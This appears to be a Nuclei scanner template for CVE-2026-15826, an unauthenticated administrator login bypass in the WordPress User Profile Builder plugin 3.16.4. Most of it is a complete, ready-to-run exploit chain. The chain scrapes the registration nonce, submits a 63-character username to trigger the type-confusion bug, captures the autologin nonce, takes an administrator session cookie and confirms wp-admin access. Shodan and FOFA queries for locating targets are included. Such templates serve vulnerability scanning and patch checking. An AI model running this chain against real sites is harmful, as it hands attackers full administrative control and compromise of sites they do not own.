id: CVE-2026-15826 info: name: User Profile Builder 3.16.4 - Unauthenticated Authentication Bypass author: theamanrawat severity: critical description: | The User Profile Builder plugin for WordPress version 3.16.4 is vulnerable to an authentication bypass via type confusion. Profile Builder's automatic-login-after-registration handler passes the return value of wp_insert_user() through absint() before testing it with is_wp_error(), so the error check runs against the already-coerced integer. A registration submitted with a 61-70 character username passes the plugin's own validation but is rejected by WordPress core, because the user_login column is VARCHAR(60), and wp_insert_user() returns a WP_Error object. absint() coerces that object to the integer 1, is_wp_error(1) is false, and the plugin binds a transient-backed autologin nonce to user ID 1. Consuming that nonce calls wp_set_auth_cookie(1) and logs the unauthenticated attacker in as the site's Administrator. impact: | Unauthenticated attackers can log in as the site Administrator (user ID 1), gaining full administrative control including plugin and theme installation, PHP code execution, and complete site compromise. remediation: | Update User Profile Builder to 3.16.5 or later, which performs the is_wp_error() check before coercing the wp_insert_user() return value with absint() and additionally enforces the 60-character username limit server-side. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/id/9f606fba-f779-42ea-a160-6c3b20dc5e79 - https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.16.4/front-end/class-formbuilder.php#L262 - https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.16.4/features/functions.php#L1481 - https://plugins.trac.wordpress.org/changeset/3609855/profile-builder - https://github.com/HORKimhab/CVE-2026-15826-CVE-2026-15748 - https://nvd.nist.gov/vuln/detail/CVE-2026-15826 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-15826 epss-score: 0.03911 epss-percentile: 0.89582 cwe-id: CWE-704 metadata: verified: true max-request: 5 vendor: cozmoslabs product: profile-builder framework: wordpress shodan-query: http.html:"/wp-content/plugins/profile-builder/" fofa-query: body="/wp-content/plugins/profile-builder/" publicwww-query: "/wp-content/plugins/profile-builder/" tags: cve,cve2026,wordpress,wp-plugin,wp,profile-builder,auth-bypass,unauth,intrusive,vkev variables: username: "{{rand_base(63,'abcdefghijklmnopqrstuvwxyz')}}" email: "{{rand_base(10,'abcdefghijklmnopqrstuvwxyz')}}@{{rand_base(8,'abcdefghijklmnopqrstuvwxyz')}}.com" password: "{{rand_base(12,'abcdefghijklmnopqrstuvwxyz0123456789')}}Aa1!" flow: http(1) && http(2) && http(3) && http(4) && http(5) http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/profile-builder/readme.txt" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "Profile Builder")' - 'compare_versions(pb_version, ">= 3.16.4", "< 3.16.5")' condition: and internal: true extractors: - type: regex name: pb_version part: body group: 1 regex: - '(?i)Stable\s+tag:\s*([0-9.]+)' internal: true - method: GET path: - "{{BaseURL}}/register/" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "wppb-register-user")' - 'len(wppb_nonce) > 0' - 'len(form_name) > 0' condition: and internal: true extractors: - type: regex name: form_name part: body group: 1 regex: - 'name="form_name"[^>]*value="([^"]*)"' internal: true - type: regex name: wppb_nonce part: body group: 1 regex: - 'name="register_[^"]*_nonce_field"[^>]*value="([^"]+)"' internal: true - raw: - | POST /register/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Referer: {{RootURL}}/register/ Origin: {{RootURL}} username={{username}}&email={{email}}&passw1={{password}}&passw2={{password}}&action=register&form_name={{form_name}}®ister_{{form_name}}_nonce_field={{wppb_nonce}}®ister=Register&_wp_http_referer=%2Fregister%2F matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "autologin=true")' - 'len(autologin_nonce) > 0' condition: and internal: true extractors: - type: regex name: autologin_nonce part: body group: 1 regex: - 'autologin=true(?:&(?:#0?38|amp);)?_wpnonce=([a-f0-9]+)' internal: true - raw: - | GET /register/?autologin=true&_wpnonce={{autologin_nonce}} HTTP/1.1 Host: {{Hostname}} redirects: false matchers: - type: dsl dsl: - 'contains(tolower(all_headers), "set-cookie: wordpress_logged_in_")' internal: true - raw: - | GET /wp-admin/options-general.php HTTP/1.1 Host: {{Hostname}} redirects: false matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "name=\"blogname\"")' - 'contains(body, "name=\"siteurl\"")' condition: and # digest: 4a0a004730450220425f3c0730f998a966819265c44b36994664d76482af60f2b14ddf3264b68dfa022100d48eade218b3c05e1b6f7e71c919e843b8a1ceef2af886385d0a08c56e1db712:922c64590222798bb761d5b6d8e72950